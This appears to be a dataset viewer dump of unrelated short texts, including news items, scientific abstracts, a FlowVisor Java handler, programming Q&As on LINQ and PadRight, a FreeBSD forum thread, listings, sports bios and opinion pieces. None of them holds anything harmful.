The PA won observer status at the UN in November 2012, opening the way for it to adopt a host of international accords. However, the authority undertook to freeze all moves to seek membership in UN organizations and international conventions for the duration of peace talks with Israel.
Those talks proved to be inconclusive and expired this week.
In addition to the UN treaties, the PA has also signed up formally to the Geneva Conventions, which established the rules of warfare and humanitarian operations in conflict zones.
It also submitted requests to the UN to adopt accords including the Vienna Convention on diplomatic relations, and an anti-corruption agreement. |
In the search for novel treatments for psychiatric disorders, many compounds that have shown promising pharmacological properties in disease models have failed to induce benefit in patients. There is good reason to believe that the preclinical approaches routinely used in drug discovery often provide an overly optimistic picture of clinical potential. Here we discuss some of the factors that we believe lead to erroneous decision-making, including: false interpretations of the behavioural significance of drug effects in the model species; fundamental flaws in aspects of experimental design and analysis; and misconceptions about the criteria that need to be applied before a model can be said to be validated. Only by focusing on well-constructed biological hypotheses of drug action in conjunction with reliable neurochemical, electrophysiological and behavioural assays that can be demonstrated to engage clinically relevant brain circuits will the chances of clinical success be improved. As psychiatric disorders come to be viewed less descriptively and more mechanistically as developmental disorders in brain circuits, incorporating biomarkers – measured biological variables that can indicate a normal or abnormal biological etiological process – will become the essential key to improving model development and validation, and target assessment and refinement. |
package org.flowvisor.api.handlers.monitoring;
import java.util.HashMap;
import java.util.LinkedList;
import java.util.List;
import java.util.Map;
import org.flowvisor.api.handlers.ApiHandler;
import org.flowvisor.api.handlers.HandlerUtils;
import org.flowvisor.classifier.FVClassifier;
import org.flowvisor.config.ConfigError;
import org.flowvisor.config.FlowSpace;
import org.flowvisor.exceptions.DPIDNotFound;
import org.flowvisor.exceptions.MissingRequiredField;
import org.flowvisor.flows.FlowSpaceUtil;
import org.openflow.protocol.OFPhysicalPort;
import org.openflow.util.U16;
import com.thetransactioncompany.jsonrpc2.JSONRPC2Error;
import com.thetransactioncompany.jsonrpc2.JSONRPC2ParamsType;
import com.thetransactioncompany.jsonrpc2.JSONRPC2Response;
public class ListDatapathInfo implements ApiHandler<Map<String, Object>> {
@Override
public JSONRPC2Response process(Map<String, Object> params) {
JSONRPC2Response resp = null;
HashMap<String, Object> retvals = new HashMap<String, Object>();
List<Integer> portnos = new LinkedList<Integer>();
List<String> portNames = new LinkedList<String>();
try {
Long dpid = FlowSpaceUtil.parseDPID(
HandlerUtils.<String>fetchField(FlowSpace.DPID, params, true, null));
FVClassifier classifier = HandlerUtils.getClassifierByDPID(dpid);
getPortLists(classifier, portnos, portNames);
retvals.put(FlowSpace.DPID, FlowSpaceUtil.dpidToString(dpid));
retvals.put(NUMPORTS, classifier.getSwitchInfo().getPorts().size());
retvals.put(PORTLIST, portnos);
retvals.put(PORTNAMES, portNames);
retvals.put(CONNNAME, classifier.getConnectionName());
retvals.put(CURRFMUSE, getDPIDFMLimits(classifier));
resp = new JSONRPC2Response(retvals, 0);
} catch (ClassCastException e) {
resp = new JSONRPC2Response(new JSONRPC2Error(JSONRPC2Error.INVALID_PARAMS.getCode(),
cmdName() + ": " + e.getMessage()), 0);
} catch (MissingRequiredField e) {
resp = new JSONRPC2Response(new JSONRPC2Error(JSONRPC2Error.INVALID_PARAMS.getCode(),
cmdName() + ": " + e.getMessage()), 0);
} catch (DPIDNotFound e) {
resp = new JSONRPC2Response(new JSONRPC2Error(JSONRPC2Error.INVALID_PARAMS.getCode(),
cmdName() + ": " + e.getMessage()), 0);
} catch (ConfigError e) {
resp = new JSONRPC2Response(new JSONRPC2Error(JSONRPC2Error.INTERNAL_ERROR.getCode(),
cmdName() + ": " + e.getMessage()), 0);
}
return resp;
}
private HashMap<String, Integer> getDPIDFMLimits(FVClassifier classifier)
throws ConfigError {
List<String> slices = HandlerUtils.getAllSlices();
HashMap<String, Integer> ret = new HashMap<String, Integer>();
int limit = 0;
for (String slice : slices) {
limit = classifier.getCurrentFlowModCounter(slice);
if (limit != -1)
ret.put(slice, limit);
}
return ret;
}
private void getPortLists(FVClassifier classifier, List<Integer> portnos,
List<String> portNames) {
for (OFPhysicalPort port : classifier.getSwitchInfo().getPorts()) {
portnos.add(U16.f(port.getPortNumber()));
portNames.add(port.getName());
}
}
@Override
public JSONRPC2ParamsType getType() {
return JSONRPC2ParamsType.OBJECT;
}
@Override
public String cmdName() {
return "list-datapath-info";
}
}
|
FreeBSD Journal announced - drallison
http://www.freebsdnews.net/2013/11/26/freebsd-journal-announced/
======
spindritf
How is it that FreeBSD has such great documentation[1], now this while Linux
is stuck with random wikis and blogposts, usually out-of-date?
[1]
[https://www.freebsd.org/doc/handbook/](https://www.freebsd.org/doc/handbook/)
~~~
dijit
Smaller community, more central management.
Linux is seen as a programming platform a lot more than freeBSD.
man pages work wonderfully though.
~~~
X-Istence
The man pages that come with FreeBSD are absolutely fantastic and top notch,
more so than most of the man pages I have found with Ubuntu for example.
I don't see how Linux being seen as a programming platform makes much if a
difference. FreeBSD has a pretty large community as well, but the core
community that puts together the OS seems to take much more pride in their
work and having it be fully documented than any other open source
organisation.
~~~
teddyh
The man pages of BSD are the official documentation. The man pages of, for
instance, GNU LibC are _not_ the official documentation. _This_ is:
[https://www.gnu.org/software/libc/manual/](https://www.gnu.org/software/libc/manual/)
~~~
thirdsight
Which is the problem with Linux as a whole for me.
WiFi configuration is a particular problem where everything has awful
documentation so when you need to set up your WiFi without NetworkManager or
some other behemoth, much eye poking and googling on other devices is
required.
FreeBSD/OpenBSD/NetBSD: man ifconfig (and dmesg)
As a rule, and this happened to me more than once, you might need to configure
your network connection without the aid of Google and online documentation.
Either that or you're stuck on a train in the middle of nowhere with no WiFi
and no 3G and you want to read the docs.
~~~
teddyh
The official documentation is _available_ on the link I gave, but it should
also be available in the Info format on your local drive.
I find it much easier to search Info documents for something than grepping
compressed man pages.
~~~
thirdsight
Info is horrible. Case in point:
Awk manpage: [http://www.openbsd.org/cgi-
bin/man.cgi?query=awk](http://www.openbsd.org/cgi-bin/man.cgi?query=awk)
Gawk info (in html):
[http://www.gnu.org/software/gawk/manual/gawk.html](http://www.gnu.org/software/gawk/manual/gawk.html)
Both fully describe the capabilities of the software without resorting to
compressing it.
Elegance in simplicity.
~~~
teddyh
I disagree; In general, I prefer Info. I would explain why, but that would be
repeating myself; I instead refer to my previous post on this very topic:
[https://news.ycombinator.com/item?id=6656656](https://news.ycombinator.com/item?id=6656656)
~~~
thirdsight
I think it's funny that someone else picked exactly the same example however I
respect your opinion on the subject.
------
01Michael10
The actual link for the future magazine's website (with the same info on
freebsdnews.net) -->
[http://www.freebsdjournal.com/](http://www.freebsdjournal.com/)
------
RexRollman
"The Journal will be a bi-monthly publication and will be available on the web
or as an Android/iPhone/Kindle app."
Why make it an app? Making "app" magazines seems really dumb to me, when you
could simply make it available in an open format like PDF or ePub or text.
~~~
orik
I'm willing to bet it will be available in an open format "on the web".
The additional formats probably exist to serve a wider audience.
It would be nice if I could get it in TeX though.
~~~
RexRollman
I think you are the first person I have ever seen say that. If I may ask, what
benefits would having it TeX bring to you?
~~~
dded
Not speaking for the GP of course, but I often like to see the Latex source of
a well laid-out document. I learn from reading it as an example.
------
unethical_ban
There's also BSD Now, which is pretty cool. More BSD coverage is always nice!
~~~
tachion
Also, there is BSD Magazine too: [http://bsdmag.org/](http://bsdmag.org/)
------
UNIXgod
It's great to see many resources for keeping up with the unknown giant
nowdays!
|
Carlota L.
Rancho Cucamonga, CA
Patient and Effective Math Teacher
Carlota offers online lessons
Carlota is approved to conduct lessons through Wyzant Online. Wyzant Online allows students and tutors to work remotely via video, audio, and collaborative whiteboard tools. For more information about how online tutoring works, check out Wyzant Online.
If you’re interested in online lessons, message Carlota to get started.
$30/Hour
Bachelor of Science
Applied Mathematics
Masters in Mathematucs
Graduate Coursework
Education
Bachelor of Science (Applied Mathematics)
Masters in Mathematucs (Graduate Coursework)
About Carlota
I am a graduate with a Bachelor of Science in Applied Mathematics. I have the experience of teaching mathematics in the college and was able to do some tutorial stints with high school and college students. My expertise includes algebra, geometry, trigonometry, calculus and math of investments.I am a graduate with a Bachelor of Science in Applied Mathematics. I have the experience of teaching mathematics in the college and was able to do some tutorial stints with high school and college students. My expertise includes algebra, geometry, trigonometry, calculus and math of investments.…Read more
Policies
Cancellation
5 hours notice required
Travel Radius
Carlota offers online lessons
Carlota is approved to conduct lessons through Wyzant Online. Wyzant Online allows students and tutors to work remotely via video, audio, and collaborative whiteboard tools. For more information about how online tutoring works, check out Wyzant Online.
If you’re interested in online lessons, message Carlota to get started.
"Wonderful!"
- Lisa, Rancho Cucamonga, CA on 10/28/16
We so appreciate Carlota's help with our son's integrated math. Not only is she clearly reinforcing the work, she is also very motivating.
"Very patient!"
- Taylor, Upland, CA on 4/5/16
Carlota really took her time with me & helped me find different ways of solving problems. I understood my Calculus chapter after our lesson together.
"Great experience!"
- Michelle, Rancho Cucamonga, CA on 9/25/13
My daughter asked for help in Geometry and Carlota was the answer! She said Carlota was patient, easy to understand, and explained things well. I would absolutely call for her if my daughter gets "stuck" again. Money well spent. Thanks Carlota!
Approved subjects
In most cases, tutors gain approval in a subject by passing a proficiency exam. For some subject areas, like music and art, tutors submit written requests to demonstrate their proficiency to potential students. If a tutor is interested but not yet approved in a subject, the subject will appear in non-bold font. Tutors need to be approved in a subject prior to beginning lessons.
Algebra 1
I am a math major in College. I have taught and tutored this subject for 6 and 15 years, respectively. My students truly appreciated how I approached the subject in a way that is easy to understand.
Algebra 2
Same with Algebra 1, I have taught this subject for 6 years. Having a good foundation in Algebra will give you a great take off in any course you take.
Geometry
As a graduate with a degree in Math, I have great knowledge in teaching and tutoring the subject. Geometry's concepts will give one an idea of their surroundings.
Bachelor of Science
Applied Mathematics
Masters in Mathematucs
Graduate Coursework
Education
Bachelor of Science (Applied Mathematics)
Masters in Mathematucs (Graduate Coursework)
Wonderful!
We so appreciate Carlota's help with our son's integrated math. Not only is she clearly reinforcing the work, she is also very motivating. |
Palm Springs Golf and Tennis Club A6
High Season - Monthly $2,000
Please call for Off-Season Rates
For more Pictures Visit our Website
DesertVacationRentals.com
Contact us at 760-861-1419
Photo Gallery
Property Description
Bedrooms: 1. Bathrooms: 1.5
Palm Springs Golf & Tennis Club is a very popular community to
vacation or spend the Winter Season. This is a quaint south-western
flare second level condo with beautiful pool views and surrounded by
lush grounds. The condo is a 1 Bedroom & 1 1/2 bath with an area
which can be used as a 2nd bedroom which includes a Murphy bed with a
privacy accordion door. Kitchen has been updated with open
configuration. The condo has a private covered patio overlooking the
pool, beautiful landscaping & is equipped with & Land Line. The
community features 3 pools, 4 spas, 4 tennis courts & a
clubhouse/library. Easy walking to Trader Joes, Starbucks, Vons &
restaurants around the neighborhood with great hiking nearby.
Property is also adjacent to Tahquitz Creek public golf course.
Downtown Palm Springs is a short drive away with more great shopping,
dining, casino, museum & street fair. Just unpack your bags &
enjoy!
Further Information
Reviews
Vacation Insurance
We offer our users trip insurance policies designed for travelers going on a single trip. They can be used for flights, house rentals and a world of other trip types. We provide access to all the leading travel insurance companies to satisfy your trip insurance needs. Please consider using this insurance on trips to other countries. Insure your vacation, Click Here
We offer a diverse selection of private vacation home rentals, condos, cabins and beach lodging in California including Palm Springs vacation rentals in Palm Springs, California. |
All Blacks
Black Ferns
Teams
Kelly Brazier
After several successful sevens campaigns, Brazier returned to the Black Ferns in 2016 for the first time since 2014, when she handled kicking duties in all five World Cup matches.
Following the 2017 International Women's Rugby Series, Brazier was third on the Black Ferns’ all-time points scorers list behind Vanessa Cootes (215) and Tammi Wilson (196). She brings a massive step and solid boot to the Black Ferns squad as well as the speed that saw her first debut for the Black Ferns Sevens squad in 2012.
A skilled exponent of the short form of the game, Brazier has been part of teams that have secured the Sevens World Cup in Moscow and a historic silver medal at the 2016 Rio Olympics. |
Ebony Rolph
Ebony Rolph (born 16 August 1994) is an Australian professional basketball player who plays for the Bendigo Spirit in the Women's National Basketball League.
Professional career
WNBL
Rolph made her professional debut with the Spirit in 2015. With the Spirit, she played alongside the likes of Kelsey Griffin, Gabrielle Richards and Kelly Wilson, coming off the bench. Rolph has been re-signed for the 2016–17 season.
References
Category:1994 births
Category:Living people
Category:Australian women's basketball players
Category:Bendigo Spirit players
Category:Sportspeople from Victoria (Australia)
Category:Forwards (basketball) |
News
AFI Europe Romania concludes a EUR 22 million Development Loan from Bank Leumi Romania for the financing of AFI Tech Park phase 1
AFI Europe Romania concludes a EUR 22 million Development Loan from Bank Leumi Romania for the financing of AFI Tech Park phase 1
Bucharest, December 20, 2017: AFI Europe Romania has signed a financing agreement of EUR 22 million with Bank Leumi Romania for the development of phase 1 of AFI Tech Park, the newest business park the company is currently developing in Bucharest.
AFI Tech Park is a 56,000 sqm GLA of Class A offices, developed in 3 phases and targeting companies from the FMCG, Automotive, IT&C, BPO and shared services markets, seeking to upgrade their facilities to a new Class A offices. The first phase of the project will be delivered in Q2 2018, offering 20,000 sqm GLA office space and 2,000 sqm of retail area, including the already signed tenants World Class fitness club and 1 minute. The project is developed close to the city center, in proximity to the JW Marriott Hotel and the Romanian Parliament and will comprise of two office buildings with GF+8 floors and one office tower of 14 floors, all surrounded by over 5,000 sqm of green areas.
„AFI Europe has an excellent long term and strategic relationship with the banks for financing projects and we are glad to have, once again, Bank Leumi as our partner for phase 1 in AFI Tech Park, a project through which we plan to open a new zone for office development in Bucharest. The fact that the Park is located in downtown Bucharest and not in city outskirts provides the Park the unique advantage sought after by multinational companies in Romania. With our current development projects, AFI Tech Park office project in Bucharest, AFI Brasov mall and offices, and soon to start our first residential project in Bucharest AFI City, AFI Europe continues its expansion in Romania”, said David Hay, CEO AFI Europe Romania.
The total investment for AFI Tech Park 1 is of over EUR 30 million.
A unique service AFI which will be provided to the tenants in Tech Park is a 400 sqm conference hall to be shared by the tenants in the park. This allows the tenants to avoid the necessity of having such large halls within their spaces throughout the term of the lease. Together with the surrounding retail facilities (Vulcan Retail Park, Liberty mall), the office project is bringing additional benefits such as: “AFI Club” membership offering discounts for lunch and other services, and also the first car sharing service in Bucharest.
Construction works for AFI Tech Park 1 are advancing on schedule, currently having already completed the skeleton structure.
AFI Tech Park is built to obtain the highest recognition of green building and has already obtained the LEED Platinum pre-certification for the use of construction, design and operating techniques and technologies with a minimum impact on the environment.
About AFI Europe:
AFI Europe is a subsidiary of AFI Properties and one of the leading real estate development, management and investment companies in the Central Eastern Europe markets. Ever since 1997 it is present in countries such as Romania, the Czech Republic, Poland, Germany, Bulgaria, Serbia, Hungary and Latvia. AFI Europe owns and manages within its portfolio over 450,000 sqm of commercial spaces consisting of shopping malls and business parks, in addition to large-scale residential developments.
AFI Europe is currently constructing 1,000 residential apartments in Belgrade, Krakow, Riga and Prague. Since the beginning of 2017, the company sold over 500 residential units across Europe.
About AFI Europe Romania:
AFI Europe entered the Romanian market in 2005 and is the developer, owner and manager of AFI Cotroceni, the largest and most dominant shopping mall in Romania and among the leading shopping malls in Europe, with 50,000 customers a day, a leasable area of 90,000 sqm GLA and offering its visitors a large entertainment area with multiple leisure options and a variety of over 300 shops from local and international brands.
In October 2013, the company inaugurated AFI Ploiesti, the first and only modern shopping mall developed in the city center of Ploiesti, following an investment of over EUR 50 million. The shopping mall offers a leasable area of 34,000 sqm, occupied by 100 national and international brands, and more than 7,000 sqm of entertainment.
Currently AFI Europe Romania is under construction with an investment of over EUR 120 million in AFI Brasov (shopping mall and offices), AFI Tech Park in Bucharest (an investment of over EUR 30 million in a 56,000 sqm office park) as well as Phase 1 of AFI City, which consists of 190 residential units in Bucurestii Noi.
According to the valuation performed on September 30, 2017, AFI Europe Romania’s value of the existing income producing assets (AFI Cotroceni, AFI Ploiesti and the 5 office buildings of AFI Park) has increased by 7.5% to EUR 735 million compared to 2016.
AFI Europe uses cookies to give you the best experience on our website. By using our website, you agree to our use of cookies.
You can find out more about which cookies we are using in our Cookies Policy or switch them off through your browser settings.
Privacy Overview
This website uses cookies so that we can provide you with the best user experience possible. Cookie information is stored in your browser and performs functions such as recognising you when you return to our website and helping our team to understand which sections of the website you find most interesting and useful.
You can adjust all of your cookie settings by navigating the tabs on the left hand side.
Strictly Necessary Cookies
Strictly Necessary Cookie should be enabled at all times so that we can save your preferences for cookie settings.
disable
If you disable this cookie, we will not be able to save your preferences. This means that every time you visit this website you will need to enable or disable cookies again. |
Q:
Qual a diferença entre as formas de pesquisa LINQ com Datetime.Now?
Estou executando dois trechos de códigos e estão dando resultados diferentes. Alguém sabe o porquê?
Esse código mostra cupons apenas que possuem a validade da data e hora atual + 3h (não sei porque):
var cupons = Listar().Where(c => c.Validade > Datetime.Now);
Enquanto que esse código mostra os cupons corretamente:
Datetime agora = Datetime.Now;
var cupons = Listar().Where(c => c.Validade > agora);
OBS: A função Listar consulta no banco de dados.
A:
De início a pergunta não estava clara, agora estou destacando esta parte depois da edição porque o problema é este. A segunda parte fica como complemento para as pessoas entenderem melhor o LINQ.
Busca em banco de dados
Se o dado está em um banco de dados (a pergunta não fala nada sobre isto) a e expressão será traduzia para ser executada no banco de dados e dependendo do provedor utilizado o DateTime.Now será traduzido para uma expressão que ele reconhece e será executado lá no banco de dados que pode estar com fuso horário diferente da aplicação. Nada disso é garantido, mas costuma acontecer. Quando pega uma variável da aplicação essa tradução não é possível e aí ele compara com o dado fixo da do momento que é mandado para o banco de dados.
Até acho que isto é um outro erro porque os horários deveriam ser todos UTC e nunca ter problema de fuso, mas não é o foco da pergunta. Provavelmente o erro é de modelagem que adotou fuso horário no armazenamento.
Outro erro comum com LINQ
O primeiro está usando uma expressão que compara um dado da coleção de dados sendo avaliada com o horário do momento. Conforme vai passando o tempo esse momento muda. Em cada verificação de um elemento da coleção o valor de Datetime.Now muda, então neste exemplo tende a filtrar um pouco mais por ter uma valor móvel, ele vai estreitando.
O segundo pega o momento atual da execução do código e guarda em uma variável. Esse valor é fixo, ele não muda mais. Aí quando percorre a coleção de dados a comparação está sendo feita sempre com o mesmo valor, o valor não estreita, não muda durante a execução.
Mas o LINQ ainda tem uma característica que agrava mais o problema. Essa tecnologia usa uma técnica chamada lazy evaluation. Quando você executa esta linha de código nada está sendo executado de verdade. Somente quando precisa do dado ou materializa o coleção de dados é que a execução será feita. Isto pode ser feito segundos, minutos ou horas depois em alguns casos. Inclusive o tempo entre verificar um elemento e outro pode demorar bastante. Não é tão comum, mas pode acontecer.
Dá para perceber como os resultados podem ser bem diferentes? Um deles sempre usará o tempo do momento da efetiva execução de um elemento, porque você usou um código que manda pegar um tempo novo cada vez que passa por ele. O outro pega um tempo e guarda, aí toda vez que avaliar um elemento mesmo que muito tempo depois o tempo a ser usado é sempre o mesmo, é aquele que pegou logo no início da execução.
Eu gosto do LINQ, mas vejo um problema nele porque as pessoas e não entendem o que ele é, acham que há mágica dentro dele e que não precisar entender nada dessa "mágica" toda. Sem entender profundamente o LINQ eu acho que as pessoas não deveriam usá-lo.
Se você escrevesse esses códigos na mão talvez desse pra perceber melhor porque acontece isso:
foreach (var c in Lista()) {
if (c.Validade > DateTime.Now) {
//faz alguma coisa
}
//talvez chama algo aqui demorado
}
E
var agora = DateTIme.Now;
foreach (var c in Lista()) {
if (c.Validade > agora) {
//faz alguma coisa, poderia montar uma outra lista, mas seria a materialização
}
//talvez chama algo aqui demorado
}
Coloquei no GitHub para referência futura.
LINQ não é simples
E um dos problemas que mais vejo as pessoas fazerem com LINQ é usar um ToList() para materializar a coleção de dados. Quando a pessoa faz isso provavelmente ela não deveria usar o LINQ, a vantagem desta técnica é justamente não materializar sem necessidade e se tiver necessidade sempre, então o LINQ não ajuda tanto quanto poderia. No caso você provavelmente está acessando a coleção de dados sem materializar a toa e isto é bom, mas também é o causador da diferença.
Conclusão
Qual dá o resultado esperado? Vá com ele. Eu acho que o segundo é melhor na maioria dos casos, mas vejo cenário onde o primeiro é mais útil. Ou conserte o erro de modelagem.
A:
Imagino que Listar execute uma query na base de dados. Sendo o caso, quando feito o Where, o linq adiciona as condições à query enviada para a base, que não deve ter o fuso horário brasileiro (-3 horas).
No outro caso, a data adicionada à query é a do seu computador, que deve ter o fuso horário.
Uma forma de evitar este tipo de problema é sempre usar as datas em UTC e convertê-las somente quando necessário.
|
The windy conditions on Thursday didn’t detract from the good golfing with the top three players having less than 70 net. Geoff Zerk blitzed the course with a fantastic 65, followed by equally impressive 68s from Jim Menzel and Eugene Warrior. The next best was a trio of players on 74. Someone forget to tell Huey that it was the first day of spring last Saturday as it was certainly still wintry conditions for the Total Earthworx Monthly Medal stroke round. Saturday threatened a few showers which, combined with the Royal Show and a home footy finals match, saw the field down to the mid-50s. The greens although still playing well were not as quick as the previous week and some pins were well positioned for the Monthly Medal. All of the above didn’t stop Ben Coad from shooting 92/68 and claiming the monthly mug and putting himself into the running for the Paul McCarthy Gold Medal. Eugene Warrior followed up his great Thursday form with 82/71 to claim the A grade voucher ahead of good mates Pegs and Cougar who had 72’s. The B grade was won comfortably by the in-form “Smoo” Hinderwell who had the day’s second best score of net 70. Early risers, brothers Ben and Brett Burgess, were three shots back. The C grade lads didn’t fare as well with Ray Thorning winning the grade with 74. Both Greg Jones and John Conaghty had 77 apiece. All played in the morning, along with Ben and Eugene, which may have indicated the early starters had the better of the conditions. ome of the A graders, most of whom also played in the morning, struggled with Pete Morrison adding almost a shot a hole on the previous week to raise the bat on the last hole. Skipper Craig and Leigh Durdin were run out on 99 and Brad Thomas also made it well into the nervous nineties. Even these scores didn’t earn the encouragement award which went to Rob Kelly. This week thelads are up for a stableford round for the Kapunda Diesel prize. With an extra week of spring under the belts hopefully the weather will be a little warmer on the weekend. |
Much of the plywood used to make the new obstacles came from the makeshift ramps that were over by the tennis courts. Those courts are now completely clear of any skaters. |
Processing of a phosphoglycerate kinase reporter mRNA in Trypanosoma brucei is not coupled to transcription by RNA polymerase II.
Capping of mRNAs is strictly coupled to RNA polymerase II transcription and there is evidence, mainly from metazoans, that other steps in pre-mRNA processing show a similar linkage. In trypanosomes, however, the mRNA cap is supplied by a trans spliced leader sequence. Thus pre-mRNAs transcribed by RNA Polymerase I are capped by trans splicing, and translation-competent transgenic mRNAs can be produced by RNA Polymerase I and T7 RNA polymerase so long as the primary transcript has a splice acceptor signal. We quantified the efficiency of processing of trypanosome pre-mRNAs produced from a plasmid integrated either at the tubulin locus, or in an rRNA spacer, and transcribed by RNA polymerase II, RNA polymerase I or T7 RNA polymerase. The processing efficiencies were similar for primary transcripts from the tubulin locus, produced by RNA polymerase II, and for RNA from an rRNA spacer, transcribed by RNA polymerase I. Primary transcripts produced by T7 RNA polymerase from the tubulin locus were processed almost as well. There was therefore no evidence for recruitment of the 3'-splicing apparatus by the RNA polymerase. Abundant transcripts transcribed from the rRNA locus by T7 RNA polymerase were somewhat less efficiently processed. |
Condition of toothbrushes in use: correlation with behavioral and socio-economic factors.
Toothbrushes and questionnaires from 94 adult dentate individuals were analyzed. More than 97% of respondents said they brushed their teeth at least once a day, while 48% used more than one toothbrush (such as one at home and another at work). Only 47% said they preferred a soft nylon bristle, while 41% preferred medium and 10% a hard nylon bristle. More than 73% of subjects said they used their brushes for 3 months or longer. Examination of collected brushes by both objective and subjective criteria revealed a wide variation in wear; however, the majority of brushes did not appear to be 'worn-out'. No significant correlation was found between objective wear-index and the educational level of the user, annual household income of the user, or reported time in use of the brush. A significant (p less than 0.01) correlation was found between brush wear-index and the ability of the user to judge toothbrush wear. |
Menu
Lose Weight And Keep It Off For Good With Proof
Lose Weight And Keep It Off For Good With Proof
You can become discouraged and give up when trying to lose weight. While you may be very dedicated in the beginning, sometimes people start to get frustrated after a short period of time. You may wonder how other people reach their weight loss goals. What is their secret to success?
Setting clearly defined goals is one of the most important steps in weight loss. Do you simply yearn to fit into your old clothes, or do you actually want to make a huge reduction in your weight? Are you interested in feeling more fit and improving your overall health? Setting goals gives you a solid point in the future to look forward to. Without set goals, you will be less likely to stay with your weight loss program.
Each day there are things you can do to keep track of your weight loss. You can begin by recording how much weight you lose or gain on a weekly basis. A food diary helps you to keep track of what you have eaten throughout the day, and having a written record helps you see what you have been doing right and what you can change throughout your diet.
If you are hungry, it is easy to make a bad decision. At that point the only thing you care about is eating quickly, even if it is junk food. You should always keep snacks available and schedule time to eat your meals. You could take a meal with you so you aren’t having to get take-out to satisfy your hunger. Using this method you will save money on food and cut down on the calories you consume.
To be successful in any weight loss plan you must incorporate both a healthy diet and a good exercise routine. For steady weight loss, try a combination of diet and exercise. You can also have fun by doing activities that involve exercise. If you are not motivated, get a work out buddy. Have a family bike riding or hiking trip. Before you know it, you will have put in a good workout without ever having to call it exercise!
The first and most important step is to get rid of all the unhealthy food from your home and vow that it’s not allowed back in. Remember, you will not be able to eat food which isn’t present, so keeping your kitchen cupboards stocked with only healthy foods can help you to keep your body fit and lean. If you make it difficult to grab and eat unhealthy, fat-filled junk food, you will soon find yourself resisting the urge to consume it.
Enlist the support of your friends during your weight loss journey. Although no one else can lose weight for you, the support from others will be invaluable when you are tempted to just give up. Your friends are there to help you stay motivated. |
Impaired Bioenergetics in Clinical Medicine: A Target to Tackle.
Mitochondrial energy deficit is considered a key element of different clinical pathologies - from inherited disorders of energy metabolism to drug-induced mitochondrial toxicity, to cardiometabolic and neurodegenerative diseases. However, clinical manifestations of impaired bioenergetics are not easy to recognize, with patient-reported features usually include non-pathognomonic fatigue and weakness, or exercise intolerance, while specific lab tests are missing. Although it is not clear whether poor energetics is a primary deficit or a secondary consequence of specific disorders, improving mitochondrial viability remains a challenging task in both experimental and clinical medicine. In this review, biochemical and clinical evidence of energy deficits were reviewed, along with possible therapeutic options to tackle energy failure and restore bioenergetics. |
Q:
PadRight(Int32, char) issues
I'm trying to create a 46 long ascii string/packet that gets sent out via serial.
The header is '###' followed by two 16 character ascii strings, then an 8 character acii string that represents a binary byte.
This is then completed with a 3 byte checksum.
Total length of 46 bytes.
My problem is two fold.
First if the two 16 byte strings are full it adds a space after them.
Second, if the 16 byte text window isn't full I want to pad the remainder of the space with a space character. This way the packet will all ways be a fixed length.
I'm attempting to use PadRight(Int32,char) but it doesn't add anything to the strings. What ends up happening is that when the code tries to add the checksum up it goes out of range because the packet is too small without the extra padding.
When I build it doesn't throw any errors but obviously I've done something wrong.
Here's the code snippet that isn't working.
TxPacket="###";
TxText1=txtSerialTx1->Text;
TxText2=txtSerialTx2->Text;
TxText1=TxText1->Replace("\r\n",""); // stripping out CR and LF
TxText2=TxText2->Replace("\r\n","");
if((TxText1->Length) < 16) // Checking for valid length
{
TxText1->PadRight((16-(TxText1->Length)),'S');
}
if((TxText2->Length) < 16)
{
TxText2->PadRight((16-(TxText2->Length)),'S');
}
TxPacket="###"+ TxText1 + TxText2 + TxLed;
for(int i=3;i<40;i++)
{
iChecksum+= TxPacket[i];
}
TxPacket+=(iChecksum%1000);
serialPort1->Write(TxPacket);
A:
Found my issue after playing some more with it. I didn't realize that the length of the padding was a fixed value and that C++ will calculate the number of spaces to insert for me so I was working out the offset manually.
Also noticed that I didn't assign the end result back to the string. MSDN had an example that was being done inline with the code so they didn't re-assign the value back.
|
Article content continued
Sin taxes almost always fail to achieve their desired outcome
Dabrusin’s goal of healthier outcomes is a noble one, but excessively taxing sugary drinks isn’t a serious solution. We know from other jurisdictions that additional taxes on sugary drinks rarely achieve their goal of reducing caloric intake in any meaningful way. For example, Mexico, a country with an obesity rate near 70 per cent, enacted a sugary drink tax with the goal of reducing caloric intake, thus producing better health outcomes. An analysis of the impact of the tax showed that it reduced consumption of these drinks by only 3.8 per cent, which represents less than seven calories per day. A reduction of this size can hardly be considered a success.
Domestically, we have seen several proposals for sugary drink taxes. In the past provincial election in New Brunswick, Green Party Leader David Coon proposed that the province enact a sugary drink tax of 20 cents per litre. The proposed tax would have added taxes on all pop, most juices, all carbonated water, all non-carbonated flavoured water, most teas, drinkable yogurts and flavoured milk. The major issue with this provincial version of what Dabrusin is proposing is that the designers of the tax scheme openly admitted that it was unlikely to make any significant impact on caloric intake. According to the Green Party’s own submission, the 20-per-cent tax was at best going to reduce overall sugary drink intake by two per cent a year.
Photo by Getty Images/iStockphoto
At the most, the New Brunswick tax would reduce caloric intake for the average resident by a measly 2.5 calories per day. This estimate was created by using full-calorie soft drinks as a reference point, meaning that the total caloric reduction could actually be much less than 2.5 calories per day given that consumers often consume other sugar-sweetened beverages with fewer total calories than full-calorie soft drinks. It is safe to say that reducing caloric intake by, at most, 2.5 calories per day would have no significant impact on public health. We don’t yet have Dabrusin’s projections on caloric-intake reductions, but from what we can see at the provincial level, the impact wouldn’t be significant in any way. |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.